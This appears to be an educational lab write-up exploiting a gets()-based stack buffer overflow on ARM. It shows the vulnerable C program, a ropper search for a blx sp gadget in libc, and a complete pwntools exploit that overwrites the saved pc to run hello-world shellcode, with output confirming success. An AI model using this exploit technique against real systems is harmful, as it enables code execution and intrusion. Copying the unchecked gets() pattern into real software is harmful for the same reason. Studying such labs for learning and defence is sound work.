In this exercise we'll hack control flow by rewriting pc
, making it point to the hello wold shellcode we built in the previous article.
Here is the vulnerable program:
#include <stdio.h>
int main()
{
char buffer[64];
gets(buffer);
}
We already know that a pc
copy is saved on the stack at buffer+68
. Here we're going to write code that will jump into our shellcode. Well use a blx sp
. To do so, we'll find an address for that instruction (a gadget) using ropper. The gadget can be found in the mapped libc (aslr off):
root@azeria-labs-arm:~/protostarm/stack5# ldd stack5
linux-vdso.so.1 (0xb6ffd000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6ede000)
/lib/ld-linux-armhf.so.3 (0xb6fd6000)
We can use ropper to find a gadget allowing us to jump to sp
; where our payload is located:
root@azeria-labs-arm:~/protostarm/stack5# ropper -f /lib/arm-linux-gnueabihf/libc.so.6 --search "b%x sp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: b%x sp
[INFO] File: /lib/arm-linux-gnueabihf/libc.so.6
0x0009f976 (0x0009f977): b #0x9f90e; mov r0, sb; bl #0x267e8; bl #0xa47c4; nop; bx sp;
0x0009f97a (0x0009f97b): bl #0x267e8; bl #0xa47c4; nop; bx sp;
0x0009f97e (0x0009f97f): bl #0xa47c4; nop; bx sp;
0x00008b28 (0x00008b29): blx sp;
0x00003db8 (0x00003db9): bx sp;
Ok so our payload will look like:
AAAAAAAA * 68 | gadget | shellcode
The blx sp
will allow us to jump in the stack, where the shellcode is written. Here is she exploit:
#!/usr/bin/env python3
from pwn import *
socket = ssh(host='192.168.0.1', user='root', password='')
libc_base_addr = 0xb6ede000
blx_sp = struct.pack('<I', libc_base_addr + 0x8b28 + 1)
shellcode = b"\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x06\x22\x79\x46\x0e\x31\x01\x20\x04\x27\x01\xdf\x24\x1b\x20\x1c\x01\x27\x01\xdf\x68\x65\x6c\x6c\x6f\x0a\x00\x00"
i = 63
while True:
i += 1
print('test', i)
payload = b'B' * i
payload += blx_sp
payload += shellcode
process = socket.process('/root/protostarm/stack5/stack5')
process.sendline(payload)
try:
res = process.recv().decode()
print(res)
if 'hello' in res:
process.close()
break
except EOFError:
pass
process.close()
socket.close()
user@Azeria-Lab-VM:~/protoarm/stack5$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Disabled
test 64
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1705
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1705)
test 65
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1709
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1709)
test 66
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1714
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1714)
test 67
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1719
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1719)
test 68
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1723
hello\x00
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1723)
[*] Closed connection to '192.168.0.1'
There are more techniques to exploit this kind of vulnerabilities and to defeat protections.
Top comments (0)